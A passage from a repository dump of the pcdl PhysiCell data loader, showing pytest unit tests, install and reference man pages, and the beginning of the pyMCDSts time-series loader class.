\"/data_timeseries_3d.tar.gz\",\n \"/.pytest_cache\",\n]\n\n" }, { "alpha_fraction": 0.5306453704833984, "alphanum_fraction": 0.5544581413269043, "avg_line_length": 36.135677337646484, "blob_id": "a549ea295f46e2bf4893df6acc9ddc2e3ff4fae3", "content_id": "3d4428f5d68819f8d0ad46c6bde7b76f26b6793d", "detected_licenses": [ "BSD-3-Clause" ], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 7391, "license_type": "permissive", "max_line_length": 133, "num_lines": 199, "path": "/test/test_timeseries_2d.py", "repo_name": "PhysiCell-Tools/python-loader", "src_encoding": "UTF-8", "text": "####\n# title: test_timeseries.py\n#\n# language: python3\n# author: Elmar Bucher\n# date: 2022-10-15\n# license: BSD 3-Clause\n#\n# description:\n# pytest unit test library for the pcdl library pyMCDSts class.\n# + https://docs.pytest.org/\n#\n# note:\n# assert actual == expected, message\n# == value equality\n# is reference equality\n# pytest.approx for real values\n#####\n\n\n# load library\nimport os\nimport pathlib\nimport pcdl\nimport platform\nimport shutil\n\n\n# const\ns_path_2d = str(pathlib.Path(pcdl.__file__).parent.resolve()/'data_timeseries_2d')\n\n\n# test data\nif not os.path.exists(s_path_2d):\n pcdl.install_data()\n\n\n# load physicell data time series\nclass TestPyMcdsTs(object):\n ''' test for pcdl.pyMCDSts data loader. '''\n mcdsts = pcdl.pyMCDSts(s_path_2d, verbose=False)\n\n ## get_xmlfile and read_mcds command and get_mcds_list ##\n def test_mcdsts_get_xmlfile_list(self, mcdsts=mcdsts):\n ls_xmlfile = mcdsts.get_xmlfile_list()\n assert len(ls_xmlfile) == 25\n\n def test_mcdsts_get_xmlfile_list_read_mcds(self, mcdsts=mcdsts):\n ls_xmlfile = mcdsts.get_xmlfile_list()\n ls_xmlfile = ls_xmlfile[-3:]\n l_mcds = mcdsts.read_mcds(ls_xmlfile)\n assert len(ls_xmlfile) == 3 and \\\n len(l_mcds) == 3 and \\\n len(mcdsts.l_mcds) == 3 and \\\n mcdsts.l_mcds[2].get_time() == 1440\n\n def test_mcdsts_read_mcds(self, mcdsts=mcdsts):\n l_mcds = mcdsts.read_mcds()\n assert len(l_mcds) == 25 and \\\n len(mcdsts.l_mcds) == 25 and \\\n mcdsts.l_mcds[-1].get_time() == 1440\n\n def test_mcdsts_get_mcds_list(self, mcdsts=mcdsts):\n l_mcds = mcdsts.get_mcds_list()\n assert l_mcds == mcdsts.l_mcds\n\n ## data triage command ##\n def test_mcdsts_get_cell_df_states(self, mcdsts=mcdsts):\n dl_cell = mcdsts.get_cell_df_states(states=2, drop=set(), keep=set(), allvalues=False)\n assert len(dl_cell.keys()) == 28 and \\\n len(dl_cell['oxygen']) == 2\n\n def test_mcdsts_get_cell_df_states_allvalues(self, mcdsts=mcdsts):\n dl_cell = mcdsts.get_cell_df_states(states=2, drop=set(), keep=set(), allvalues=True)\n assert len(dl_cell.keys()) == 28 and \\\n len(dl_cell['oxygen']) > 2\n\n def test_mcdsts_get_conc_df_states(self, mcdsts=mcdsts):\n dl_conc = mcdsts.get_conc_df_states(states=2, drop=set(), keep=set(), allvalues=False)\n assert len(dl_conc.keys()) == 1 and \\\n len(dl_conc['oxygen']) == 2\n\n def test_mcdsts_get_conc_df_states_allvalues(self, mcdsts=mcdsts):\n dl_conc = mcdsts.get_conc_df_states(states=2, drop=set(), keep=set(), allvalues=True)\n assert len(dl_conc.keys()) == 1 and \\\n len(dl_conc['oxygen']) > 2\n\n ## magick command ##\n def test_mcdsts_handle_magick(self, mcdsts=mcdsts):\n s_magick = mcdsts._handle_magick()\n if not((os.system('magick --version') == 0) or ((platform.system() in {'Linux'}) and (os.system('convert --version') == 0))):\n s_magick = None\n print('Error @ pyMCDSts._handle_magick : image magick installation version >= 7.0 missing!')\n assert s_magick in {'', 'magick '}\n\n ## make_imgcell command ##\n def test_mcdsts_make_imgcell_cat(self, mcdsts=mcdsts):\n s_path = mcdsts.make_imgcell(\n focus='cell_type', # case categorical\n z_slice = -3.333, # test if\n z_axis = None, # test if categorical\n #cmap = 'viridis', # matplotlib\n #grid = True, # matplotlib\n #legend_loc='lower left', # matplotlib\n xlim = None, # test if\n ylim = None, # test if\n xyequal = True, # test if\n s = None, # test if\n figsizepx = [641, 481], # case non even pixel number\n ext = 'jpeg', # test if\n figbgcolor = None, # test if\n )\n assert os.path.exists(s_path + 'cell_type_000000000.0.jpeg') and \\\n os.path.exists(s_path + 'cell_type_000001440.0.jpeg')\n shutil.rmtree(s_path)\n\n def test_mcdsts_make_imgcell_cat_cmap(self, mcdsts=mcdsts):\n s_path = mcdsts.make_imgcell(\n focus='cell_type', # case categorical\n z_slice = -3.333, # test if\n z_axis = None, # test if categorical\n cmap = {'cancer_cell': 'maroon'}, # matplotlib\n #grid = True, # matplotlib\n #legend_loc='lower left', # matplotlib\n xlim = None, # test if\n ylim = None, # test if\n xyequal = True, # test if\n s = None, # test if\n figsizepx = [641, 481], # case non even pixel number\n ext = 'jpeg', # test if\n figbgcolor = None, # test if\n )\n assert os.path.exists(s_path + 'cell_type_000000000.0.jpeg') and \\\n os.path.exists(s_path + 'cell_type_000001440.0.jpeg')\n shutil.rmtree(s_path)\n\n def test_mcdsts_make_imgcell_num(self, mcdsts=mcdsts):\n s_path = mcdsts.make_imgcell(\n focus='pressure', # case numeric\n z_slice = -3.333, # test if\n z_axis = None, # test if numeric\n #cmap = 'viridis', # matplotlib\n #grid = True, # matplotlib\n #legend_loc='lower left', # matplotlib\n xlim = None, # test if\n ylim = None, # test if\n xyequal = True, # test if\n s = None, # test if\n figsizepx = None, # case extract from initial.svg\n ext = 'jpeg', # test if\n figbgcolor = None, # test if\n )\n assert os.path.exists(s_path + 'pressure_000000000.0.jpeg') and \\\n os.path.exists(s_path + 'pressure_000001440.0.jpeg')\n shutil.rmtree(s_path)\n\n ## make_imgsubs command ##\n def test_mcdsts_make_imgsubs(self, mcdsts=mcdsts):\n s_path = mcdsts.make_imgsubs(\n focus = 'oxygen',\n z_slice = -3.333, # test if\n extrema = None, # test if\n #alpha = 1, # matplotlib\n #fill = True, # mcds.get_contour\n #cmap = 'viridis', # matplotlib\n #grid = True, # matplotlib\n xlim = None, # test if\n ylim = None, # test if\n xyequal = True, # test if\n figsizepx = [641, 481], # test non even pixel number\n ext = 'jpeg',\n figbgcolor = None, # test if\n )\n assert os.path.exists(s_path + 'oxygen_000000000.0.jpeg') and \\\n os.path.exists(s_path + 'oxygen_000001440.0.jpeg')\n shutil.rmtree(s_path)\n\n ## make_gif command ##\n def test_mcdsts_make_gif(self, mcdsts=mcdsts):\n s_path = mcdsts.make_imgcell()\n s_opathfile = mcdsts.make_gif(\n path = s_path,\n #interface = 'jpeg',\n )\n assert os.path.exists(s_opathfile) and \\\n (s_opathfile == s_path+'cell_cell_type_z0.0_jpeg.gif')\n shutil.rmtree(s_path)\n\n ## make_movie command ##\n def test_mcdsts_make_movie(self, mcdsts=mcdsts):\n s_path = mcdsts.make_imgcell()\n s_opathfile = mcdsts.make_movie(\n path = s_path,\n #interface = 'jpeg',\n #framerate = 12,\n )\n assert os.path.exists(s_opathfile) and \\\n (s_opathfile == s_path+'cell_cell_type_z0.0_jpeg12.mp4')\n shutil.rmtree(s_path)\n\n" }, { "alpha_fraction": 0.5546090602874756, "alphanum_fraction": 0.5920292139053345, "avg_line_length": 35.10988998413086, "blob_id": "41d116c60ee57df14944a1045ae0b067e2cd578a", "content_id": "1145a44bc506d70fb58c4e516caec039ca9fa525", "detected_licenses": [ "BSD-3-Clause" ], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 3287, "license_type": "permissive", "max_line_length": 117, "num_lines": 91, "path": "/test/test_anndata_3d.py", "repo_name": "PhysiCell-Tools/python-loader", "src_encoding": "UTF-8", "text": "####\n# title: test_anndata.py\n#\n# language: python3\n# author: Elmar Bucher\n# date: 2023-06-24\n# license: BSD 3-Clause\n#\n# description:\n# pytest unit test library for the pcdl library TimeStep and TimeSeries class.\n# + https://docs.pytest.org/\n#\n# note:\n# assert actual == expected, message\n# == value equality\n# is reference equality\n# pytest.approx for real values\n#####\n\n\n# load library\nimport numpy as np\nimport os\nimport pandas as pd\nimport pathlib\nimport pcdl\nimport pytest\n\n\n# const\ns_path_3d = str(pathlib.Path(pcdl.__file__).parent.resolve()/'data_timeseries_3d')\ns_file_3d = 'output00000024.xml'\ns_pathfile_3d = f'{s_path_3d}/{s_file_3d}'\n\n\n# test data\nif not os.path.exists(s_path_3d):\n pcdl.install_data()\n\n\n# load physicell data time step\nclass TestTimeStep(object):\n ''' test for pcdl.TimeStep class. '''\n mcds = pcdl.TimeStep(s_pathfile_3d, verbose=False)\n\n ## get_anndata command ##\n @pytest.mark.filterwarnings(\"ignore:invalid value encountered in divide\")\n def test_mcds_get_anndata(self, mcds=mcds):\n ann = mcds.get_anndata(states=1, drop=set(), keep=set(), scale='maxabs')\n assert (str(type(ann)) == \"<class 'anndata._core.anndata.AnnData'>\") and \\\n (ann.X.shape == (20460, 102)) and \\\n (ann.obs.shape == (20460, 6)) and \\\n (ann.obsm['spatial'].shape == (20460, 3)) and \\\n (ann.var.shape == (102, 0)) and \\\n (len(ann.uns) == 0)\n\n\n# load physicell data time series\nclass TestTimeSeries(object):\n ''' test for pcdl.TestSeries class. '''\n mcdsts = pcdl.TimeSeries(s_path_3d, verbose=False)\n\n ## get_anndata command ##\n @pytest.mark.filterwarnings(\"ignore:invalid value encountered in divide\")\n def test_mcdsts_get_anndata_collapse_mcds(self, mcdsts=mcdsts):\n ann = mcdsts.get_anndata(states=1, drop=set(), keep=set(), scale='maxabs', collapse=True, keep_mcds=True)\n assert (len(mcdsts.l_mcds) == 25) and \\\n (str(type(ann)) == \"<class 'anndata._core.anndata.AnnData'>\") and \\\n (ann.X.shape == (481651, 102)) and \\\n (ann.obs.shape == (481651, 7)) and \\\n (ann.obsm['spatial'].shape == (481651, 3)) and \\\n (ann.var.shape == (102, 0)) and \\\n (len(ann.uns) == 0)\n\n @pytest.mark.filterwarnings(\"ignore:invalid value encountered in divide\")\n def test_mcdsts_get_anndata_noncollapse_nonmcds(self, mcdsts=mcdsts):\n l_ann = mcdsts.get_anndata(states=1, drop=set(), keep=set(), scale='maxabs', collapse=False, keep_mcds=False)\n assert (len(mcdsts.l_mcds) == 0) and \\\n (str(type(l_ann)) == \"<class 'list'>\") and \\\n (len(l_ann) == 25) and \\\n (all([str(type(ann)) == \"<class 'anndata._core.anndata.AnnData'>\" for ann in l_ann])) and \\\n (l_ann[24].X.shape == (20460, 102)) and \\\n (l_ann[24].obs.shape == (20460, 6)) and \\\n (l_ann[24].obsm['spatial'].shape == (20460, 3)) and \\\n (l_ann[24].var.shape == (102, 0)) and \\\n (len(l_ann[24].uns) == 0)\n\n ## get_annmcds_list command ##\n def test_mcdsts_get_annmcds_list(self, mcdsts=mcdsts):\n l_annmcds = mcdsts.get_annmcds_list()\n assert l_annmcds == mcdsts.l_annmcds\n\n" }, { "alpha_fraction": 0.7588235139846802, "alphanum_fraction": 0.7617647051811218, "avg_line_length": 60.818180084228516, "blob_id": "3a0b3bd612b5ae0bf200c474797c3d8b7ef29374", "content_id": "144c8e5b3bd352c487795d9c4f787b7dac188229", "detected_licenses": [ "BSD-3-Clause" ], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 680, "license_type": "permissive", "max_line_length": 176, "num_lines": 11, "path": "/pcdl/__init__.py", "repo_name": "PhysiCell-Tools/python-loader", "src_encoding": "UTF-8", "text": "try:\n from pcdl.data_timeseries import install_data, uninstall_data\nexcept ModuleNotFoundError:\n print('Warning @ pcdl/__init__.py : you are running a lightweight installation of pcdl.\\nTo run pcdl.install_data() or pcdl.uninstall_data() do: pip3 install pcdl[data].')\ntry:\n from pcdl.pyAnnData import TimeStep, TimeSeries, _anndextract, scaler\nexcept ModuleNotFoundError:\n print('Warning @ pcdl/__init__.py : you are running a lightweight installation of pcdl.\\nTo run mcds.get_anndata() or mcdsts.get_anndata() do: pip3 install pcdl[scverse].')\nfrom pcdl.pyMCDS import pyMCDS, graphfile_parser\nfrom pcdl.pyMCDSts import pyMCDSts\nfrom pcdl.VERSION import __version__\n" }, { "alpha_fraction": 0.7594090700149536, "alphanum_fraction": 0.7699612975120544, "avg_line_length": 33.240962982177734, "blob_id": "df8404b01cea9d608baec5ef4724a86d45f78204", "content_id": "487613817d5a93d5c6ae9dc3b3a5966eaeb0c0a4", "detected_licenses": [ "BSD-3-Clause" ], "is_generated": false, "is_vendor": false, "language": "Markdown", "length_bytes": 2843, "license_type": "permissive", "max_line_length": 292, "num_lines": 83, "path": "/man/HOWTO.md", "repo_name": "PhysiCell-Tools/python-loader", "src_encoding": "UTF-8", "text": "# PhysiCell Data Loader How To Man Page\n\n## How to install the latest physicelldataloader?\n\nFull-fledged installation, with all library dependencies installed.\n```bash\npip3 install pcdl[all]\n```\n\nIf necessary, you can tweak your installation to make it more lightweight.\n```bash\npip3 install pcdl # The bare minimum. Installs only the pcdl core library dependencies.\npip3 install pcdl[data] # Installs pcdl core and test data library dependencies.\npip3 install pcdl[scverse] # Installs pcdl core and anndata library dependencies.\npip3 install pcdl[all] # Installs pcdl core, test data, and anndata library dependencies.\n```\n\n## How to update to the latest physicelldataloader?\n\n```bash\npip3 install -U pcdl[all]\n```\n\n\n## How to uninstall physicelldataloader from your python3 environment?\n\nNote: For the pcdl library this is a two-step procedure.\nFirst, possibly installed test data and tutorial output will be removed.\nThen, the software will be uninstalled.\nKeep in mind that pcdl library dependencies (like anndata, matplotlib, numpy, pandas, scipy) will never be uninstalled automatically.\n\n```bash\npython3 -c \"import pcdl; pcdl.uninstall_data()\"\npip3 uninstall pcdl\n```\n\n\n## How to load the physicelldataloader library?\n\n```python3\nimport pcdl\n```\n\n\n## How to check for the current installed physicelldataloader version?\n\n```python3\nimport pcdl\npcdl.__version__\n```\n\n\n## How to keep using the legacy library name pcDataLoader?\n\nIt is still possible to import pcdl with the legacy library name pcDataLoader, the way it was common before version 3.2.0 (June 2023).\n\n```python3\nimport pcDataLoader as pc\n```\n\nIf you need to do so, please update to the latest pcDataLoader package as follows.\nThe pcDataLoader library will thereafter act as a simple gateway to the latest installed pcdl library.\nIn future, you can just update the pcdl package to go with the latest version.\n\n```\npip install -U pcDataLoader pcdl[all]\n```\n\n\n## How to run physicelldataloader like in the early days (before autumn 2022)?\n\n1. Copy the latest [pyMCDS.py](https://raw.githubusercontent.com/elmbeech/physicelldataloader/master/pcdl/pyMCDS.py) file into the PhysiCell or PhysiCell/output folder.\n2. In the same directory, fire up a python3 shell (core [python](https://docs.python.org/3/tutorial/interpreter.html#interactive-mode), [ipython](https://en.wikipedia.org/wiki/IPython), or a [jupyter](https://en.wikipedia.org/wiki/Project_Jupyter) notebook that is running an ipython kernel).\n3. Load the pyMCDS class as follows:\n\n```python3\nfrom pyMCDS import pyMCDS\n``\n\nNow you're rolling. \\\nOn the one hand, pyMCDS is very lightweight.\nBesides the python3 core library, this code has only matplotlib, numpy, pandas, and scipy library dependencies.\nOn the other hand, the `pyMCDS` class lacks features present in the `pcdl.TimeStep` and `pcdl.TimeSeries` class.\n\n" }, { "alpha_fraction": 0.7760981321334839, "alphanum_fraction": 0.7775242328643799, "avg_line_length": 30.58558464050293, "blob_id": "992bb9774c025efce90c20c9ce8db11f49186735", "content_id": "a257e3fb7bf39b9f5f6025a4cb0fe553f5436b8c", "detected_licenses": [ "BSD-3-Clause" ], "is_generated": false, "is_vendor": false, "language": "Markdown", "length_bytes": 3506, "license_type": "permissive", "max_line_length": 152, "num_lines": 111, "path": "/man/REFERENCE.md", "repo_name": "PhysiCell-Tools/python-loader", "src_encoding": "UTF-8", "text": "# PhysiCell Data Loader Reference Man Page\n\nThis is the technical descriptions of the machinery and how to operate it.\\\nReferences are maintained in each module's [docstring](https://en.wikipedia.org/wiki/Docstring).\\\nYou can access them through the [source code](https://github.com/elmbeech/physicelldataloader/tree/master/pcdl), or by first load PhysiCell Data Loader.\n\n```python3\nimport pcdl\n```\n\nThen, for each pcdl module, get on the fly reference information with the [help](https://en.wikipedia.org/wiki/Help!) command.\\\nThe **workhorse functions** are the ones most important for data analysis.\nFamiliarize yourself with all of their parameters!\n\n\n# TimeStep Class\n```python3\nhelp(pcdl.TimeStep) # ! make class instance\nhelp(pcdl.TimeStep.__init__)\n\n# TimeStep medata\nhelp(pcdl.TimeStep.get_multicellds_version)\nhelp(pcdl.TimeStep.get_physicell_version)\nhelp(pcdl.TimeStep.get_timestamp)\nhelp(pcdl.TimeStep.get_time)\nhelp(pcdl.TimeStep.get_runtime)\n\n# TimeStep mesh\nhelp(pcdl.TimeStep.get_voxel_ijk_range)\nhelp(pcdl.TimeStep.get_mesh_mnp_range)\nhelp(pcdl.TimeStep.get_xyz_range)\nhelp(pcdl.TimeStep.get_voxel_ijk_axis)\nhelp(pcdl.TimeStep.get_mesh_mnp_axis)\nhelp(pcdl.TimeStep.get_mesh)\nhelp(pcdl.TimeStep.get_mesh_2D)\nhelp(pcdl.TimeStep.get_mesh_coordinate)\nhelp(pcdl.TimeStep.get_mesh_spacing)\nhelp(pcdl.TimeStep.get_voxel_spacing)\nhelp(pcdl.TimeStep.get_voxel_volume)\nhelp(pcdl.TimeStep.get_voxel_ijk)\nhelp(pcdl.TimeStep.is_in_mesh)\n\n# TimeStep microenvironment\nhelp(pcdl.TimeStep.get_substrate_names)\nhelp(pcdl.TimeStep.get_substrate_dict)\nhelp(pcdl.TimeStep.get_substrate_df)\nhelp(pcdl.TimeStep.get_concentration)\nhelp(pcdl.TimeStep.get_concentration_df) # ! workhorse function\nhelp(pcdl.TimeStep.get_conc_df) # ! shorthand\nhelp(pcdl.TimeStep.get_concentration_at)\nhelp(pcdl.TimeStep.get_contour) # ! workhorse function\n\n# TimeStep cells and other agents\nhelp(pcdl.TimeStep.get_celltype_dict)\nhelp(pcdl.TimeStep.get_cell_variables)\nhelp(pcdl.TimeStep.get_cell_df) # ! workhorse function\nhelp(pcdl.TimeStep.get_cell_df_at)\nhelp(pcdl.TimeStep.get_scatter) # ! workhorse function\n\n# TimeStep graphs\nhelp(pcdl.TimeStep.get_attached_graph_dict) # !\nhelp(pcdl.TimeStep.get_neighbor_graph_dict) # !\n\n# TimeStep unit\nhelp(pcdl.TimeStep.get_unit_se) # ! workhorse function\n\n# TimeStep anndata\nhelp(pcdl.TimeStep.get_anndata) # ! workhorse function\n\n# TimeStep internal functions\nhelp(pcdl.TimeStep._anndextract)\nhelp(pcdl.TimeStep._read_xml)\nhelp(pcdl.TimeStep.graphfile_parser)\nhelp(pcdl.TimeStep.scaler)\n```\n\n\n# TimeSeries Class\n```python3\nhelp(pcdl.TimeSeries) # ! make class instance\nhelp(pcdl.TimeSeries.__init__)\n\n# TimeSeries load data\nhelp(pcdl.TimeSeries.get_xmlfile_list)\nhelp(pcdl.TimeSeries.read_mcds)\nhelp(pcdl.TimeSeries.get_mcds_list) # ! workhorse function\nhelp(pcdl.TimeSeries.get_annmcds_list) # ! workhorse function\n\n# TimeSeries triage data\nhelp(pcdl.TimeSeries.get_cell_df_states) # ! workhorse function\nhelp(pcdl.TimeSeries.get_conc_df_states) # ! workhorse function\n\n# TimeSeries images and movies\nhelp(pcdl.TimeSeries.make_imgcell) # ! workhorse function\nhelp(pcdl.TimeSeries.make_imgsubs) # ! workhorse function\nhelp(pcdl.TimeSeries.make_gif) # ! workhorse function\nhelp(pcdl.TimeSeries.make_movie) # ! workhorse function\n\n# TimeSeries anndata\nhelp(pcdl.TimeSeries.get_anndata) # ! workhorse function\n\n# TimeSeries internal functions\nhelp(pcdl.TimeSeries._handle_magick)\n```\n\n\n# test data sets\n```python3\nhelp(pcdl.install_data)\nhelp(pcdl.uninstall_data)\n```\n" }, { "alpha_fraction": 0.5456385612487793, "alphanum_fraction": 0.5511882901191711, "avg_line_length": 38.83354949951172, "blob_id": "228e6d2cdfb92395ae6dbb84a2fd2a8824662039", "content_id": "92d175ba7e9c9e4c9aee46b64b590b7c620dbcd3", "detected_licenses": [ "BSD-3-Clause" ], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 30632, "license_type": "permissive", "max_line_length": 211, "num_lines": 769, "path": "/pcdl/pyMCDSts.py", "repo_name": "PhysiCell-Tools/python-loader", "src_encoding": "UTF-8", "text": "#########\n# title: pyMCDSts.py\n#\n# language: python3\n# date: 2022-08-22\n# license: BSD-3-Clause\n# authors: Patrick Wall, Randy Heiland, Paul Macklin, Elmar Bucher\n#\n# description:\n# pyMCDSts.py defines an object class, able to load and access\n# within python a time series of mcds objects loaded from a single\n# PhysiCell model output directory. pyMCDSts.py was first forked from\n# PhysiCell-Tools python-loader, where it was implemented as\n# pyMCDS_timeseries.py, then totally rewritten and further developed.\n#\n# the make_image and make_movie functions are cloned from the PhysiCell\n# Makefile. note on difference image magick convert and mogrify:\n# + https://graphicsmagick-tools.narkive.com/9Sowc4HF/gm-tools-mogrify-vs-convert\n#########\n\n\n# load libraries\nimport matplotlib.pyplot as plt\nfrom glob import glob\nimport numpy as np\nimport os\nimport pathlib\nfrom pcdl.pyMCDS import pyMCDS, es_coor_cell, es_coor_conc\nimport platform\nimport xml.etree.ElementTree as ET\n\n\n# classes\nclass pyMCDSts:\n \"\"\"\n input:\n output_path: string, default '.'\n relative or absolute path to the directory where\n the PhysiCell output files are stored.\n\n custom_type: dictionary; default is {}\n variable to specify custom_data variable types\n other than float (int, bool, str) like this: {var: dtype, ...}.\n downstream float and int will be handled as numeric,\n bool as Boolean, and str as categorical data.\n\n load: boole; default True\n should the whole time series data, all time steps, straight at\n object initialization be read and stored to mcdsts.l_mcds?\n\n microenv: boole; default True\n should the microenvironment be extracted?\n setting microenv to False will use less memory and speed up\n processing, similar to the original pyMCDS_cells.py script.\n\n graph: boole; default True\n should the graphs be extracted?\n setting graph to False will use less memory and speed up processing.\n\n settingxml: string; default PhysiCell_settings.xml\n from which settings.xml should the substrate and cell type\n ID label mapping be extracted?\n set to None or False if the xml file is missing!\n\n verbose: boole; default True\n setting verbose to False for less text output, while processing.\n\n output:\n mcdsts: pyMCDSts class instance\n this instance offers functions to process all stored time steps\n from a simulation.\n\n description:\n pyMCDSts.__init__ generates a class instance the instance offers\n functions to process all time steps in the output_path directory.\n \"\"\"\n def __init__(self, output_path='.', custom_type={}, load=True, microenv=True, graph=True, settingxml='PhysiCell_settings.xml', verbose=True):\n output_path = output_path.replace('\\\\','/')\n if (output_path[-1] != '/'):\n output_path = output_path + '/'\n if not os.path.isdir(output_path):\n print(f'Error @ pyMCDSts.__init__ : this is not a path! could not load {output_path}.')\n self.output_path = output_path\n self.custom_type = custom_type\n self.microenv = microenv\n self.graph = graph\n self.settingxml = settingxml\n self.verbose = verbose\n if load:\n self.read_mcds()\n else:\n self.l_mcds = None\n\n\n ## LOAD DATA\n def get_xmlfile_list(self):\n \"\"\"\n input:\n self: pyMCDSts class instance.\n\n output:\n xmlfile_list: list of strings\n alphanumerical sorted list of /path/to/output*.xml strings.\n\n description:\n function returns an alphanumerical (and as such chronological)\n ordered list of physicell xml path and output file names. the\n list can be manipulated and used as input for the\n mcdsts.read_mcds function.\n \"\"\"\n # bue 2022-10-22: is output*.xml always the correct pattern?\n ls_pathfile = [o_pathfile.as_posix() for o_pathfile in sorted(pathlib.Path(self.output_path).glob('output*.xml'))]\n return ls_pathfile\n\n\n def read_mcds(self, xmlfile_list=None):\n \"\"\"\n input:\n self: pyMCDSts class instance.\n\n xmlfile_list: list of strings; default None\n list of physicell output /path/to/output*.xml strings.\n\n output:\n self.l_mcds: list of mcds objects\n\n description:\n the function returns a list of mcds objects loaded by\n pyMCDS calls.\n \"\"\"\n # handle input\n if (xmlfile_list is None):\n xmlfile_list = self.get_xmlfile_list()\n\n # load mcds objects into list\n l_mcds = []\n for s_pathfile in xmlfile_list:\n mcds = pyMCDS(\n xmlfile = s_pathfile,\n custom_type = self.custom_type,\n microenv = self.microenv,\n graph = self.graph,\n settingxml = self.settingxml,\n verbose = self.verbose\n )\n l_mcds.append(mcds)\n if self.verbose:\n print() # carriage return\n\n # output\n self.l_mcds = l_mcds\n return l_mcds\n\n\n def get_mcds_list(self):\n \"\"\"\n input:\n self: pyMCDSts class instance.\n\n output:\n self.l_mcds: list of chronologically ordered mcds objects.\n watch out, this is a dereferenced pointer to the\n self.l_mcds list of mcds objects, not a copy of self.l_mcds!\n\n description:\n function returns a binding to the self.l_mcds list of mcds objects.\n \"\"\"\n return self.l_mcds\n\n\n ## TRIAGE DATA\n def get_cell_df_states(self, states=1, drop=set(), keep=set(), allvalues=False):\n \"\"\"\n input:\n states: integer; default is 1\n minimal number of states a variable has to have\n in any of the mcds time steps to be outputted.\n variables that have only 1 state carry no information.\n None is a state too.\n\n drop: set of strings; default is an empty set\n set of column labels to be dropped for the dataframe.\n don't worry: essential columns like ID, coordinates\n and time will never be dropped.\n Attention: when the keep parameter is given, then\n the drop parameter has to be an empty set!\n\n keep: set of strings; default is an empty set\n set of column labels to be kept in the dataframe.\n set states=1 to be sure that all variables are kept.\n don't worry: essential columns like ID, coordinates\n and time will always be kept.\n\n allvalues: boolean; default is False\n for numeric data, should only the min and max values or\n all values be returned?\n\n output:\n dl_variable: dictionary of list\n dictionary with an entry of all non-coordinate column names\n that at least in one of the time steps or in between\n time steps, reach the given minimal state count.\n key is the column name, and the value is a list of all states\n (bool, str, and, if allvalues is True, int and float) or\n a list with minimum and maximum values from all the states\n (int, float).\n\n description:\n function to detect informative variables in a time series.\n this function detects even variables which have less than the\n minimal state count in each time step, but different values\n from time step to time step.\n \"\"\"\n # gather data\n de_variable_state = {}\n for mcds in self.l_mcds:\n df_cell = mcds.get_cell_df(drop=drop, keep=keep)\n for s_column in df_cell.columns:\n if not (s_column in es_coor_cell):\n e_state = set(df_cell.loc[:,s_column])\n try:\n de_variable_state[s_column] = de_variable_state[s_column].union(e_state)\n except KeyError:\n de_variable_state.update({s_column: e_state})\n # extract\n dl_variable_range = dict()\n for s_column, e_state in de_variable_state.items():\n if len(e_state) >= states:\n o_state = list(e_state)[0]\n if (type(o_state) in {float, int}) and not(allvalues): # min max values (numeric)\n l_range = [min(e_state), max(e_state)]\n else: # bool, str, and all values (numeric)\n l_range = sorted(e_state)\n dl_variable_range.update({s_column : l_range})\n # output\n return dl_variable_range\n\n\n def get_conc_df_states(self, states=1, drop=set(), keep=set(), allvalues=False):\n \"\"\"\n input:\n states: integer; default is 1\n minimal number of states a variable has to have\n in any of the mcds time steps to be outputted.\n variables that have only 1 state carry no information.\n None is a state too.\n\n drop: set of strings; default is an empty set\n set of column labels to be dropped for the dataframe.\n don't worry: essential columns like ID, coordinates\n and time will never be dropped.\n Attention: when the keep parameter is given, then\n the drop parameter has to be an empty set!\n\n keep: set of strings; default is an empty set\n set of column labels to be kept in the dataframe.\n set states=1 to be sure that all variables are kept.\n don't worry: essential columns like ID, coordinates\n and time will always be kept.\n\n allvalues: boolean; default is False\n should only the min and max values or all values be returned?\n\n output:\n dl_variable: dictionary of list\n dictionary with an entry of all non-coordinate column names\n that at least in one of the time steps or in between time\n steps, reach the given minimal state count.\n key is the column name, and the value is a list with the\n minimum and maximum values from all the states if allvaue\n is set to False, or a list of all states if allvalues is\n set to True.\n\n description:\n function to detect informative substrate concentration variables\n in a time series. this function detects even variables which have\n less than the minimal state count in each time step, but\n different values from time step to time step.\n \"\"\"\n # gather data\n der_variable_state = {}\n for mcds in self.l_mcds:\n df_conc = mcds.get_concentration_df(drop=drop, keep=keep)\n for s_column in df_conc.columns:\n if not (s_column in es_coor_conc):\n er_state = set(df_conc.loc[:,s_column])\n try:\n der_variable_state[s_column] = der_variable_state[s_column].union(er_state)\n except KeyError:\n der_variable_state.update({s_column: er_state})\n # extract\n dlr_variable_range = dict()\n for s_column, er_state in der_variable_state.items():\n if len(er_state) >= states:\n if allvalues:\n lr_range = sorted(er_state)\n else:\n lr_range = [min(er_state), max(er_state)]\n dlr_variable_range.update({s_column : lr_range})\n # output\n return dlr_variable_range\n\n\n ## GENERATE AND TRANSFORM IMAGES\n def _handle_magick(self):\n \"\"\"\n input:\n self: pyMCDSts class instance.\n\n output:\n s_magick: string\n image magick command line command call.\n\n description:\n internal function manipulates the command line command call,\n so that the call as well works on linux systems, which all\n too often run image magick < 7.0.\n \"\"\"\n s_magick = 'magick '\n if (platform.system() in {'Linux'}) and (os.system('magick --version') != 0) and (os.system('convert --version') == 0):\n s_magick = ''\n return s_magick\n\n\n def make_imgcell(self, focus='cell_type', z_slice=0, z_axis=None, cmap='viridis', grid=True, legend_loc='lower left', xlim=None, ylim=None, xyequal=True, s=None, figsizepx=None, ext='jpeg', figbgcolor=None):\n \"\"\"\n input:\n self: pyMCDSts class instance\n\n focus: string; default is 'cell_type'\n column name within cell dataframe.\n\n z_slice: floating point number; default is 0\n z-axis position to slice a 2D xy-plain out of the\n 3D substrate concentration mesh. if z_slice position\n is not an exact mesh center coordinate, then z_slice\n will be adjusted to the nearest mesh center value,\n the smaller one, if the coordinate lies on a saddle point.\n\n z_axis: for a categorical focus: set of labels;\n for a numeric focus: tuple of two floats; default is None\n depending on the focus column variable dtype, default extracts\n labels or min and max values from data.\n\n cmap: dictionary of strings or string; default viridis.\n dictionary that maps labels to colors strings.\n matplotlib colormap string.\n https://matplotlib.org/stable/tutorials/colors/colormaps.html\n\n grid: boolean default True.\n plot axis grid lines.\n\n legend_loc: string; default is 'lower left'.\n the location of the categorical legend, if applicable.\n possible strings are: best,\n upper right, upper center, upper left, center left,\n lower left, lower center, lower right, center right,\n center.\n\n xlim: tuple of two floats; default is None\n x axis min and max value.\n default takes min and max from mesh x axis range.\n\n ylim: tuple of two floats; default is None\n y axis min and max value.\n default takes min and max from mesh y axis 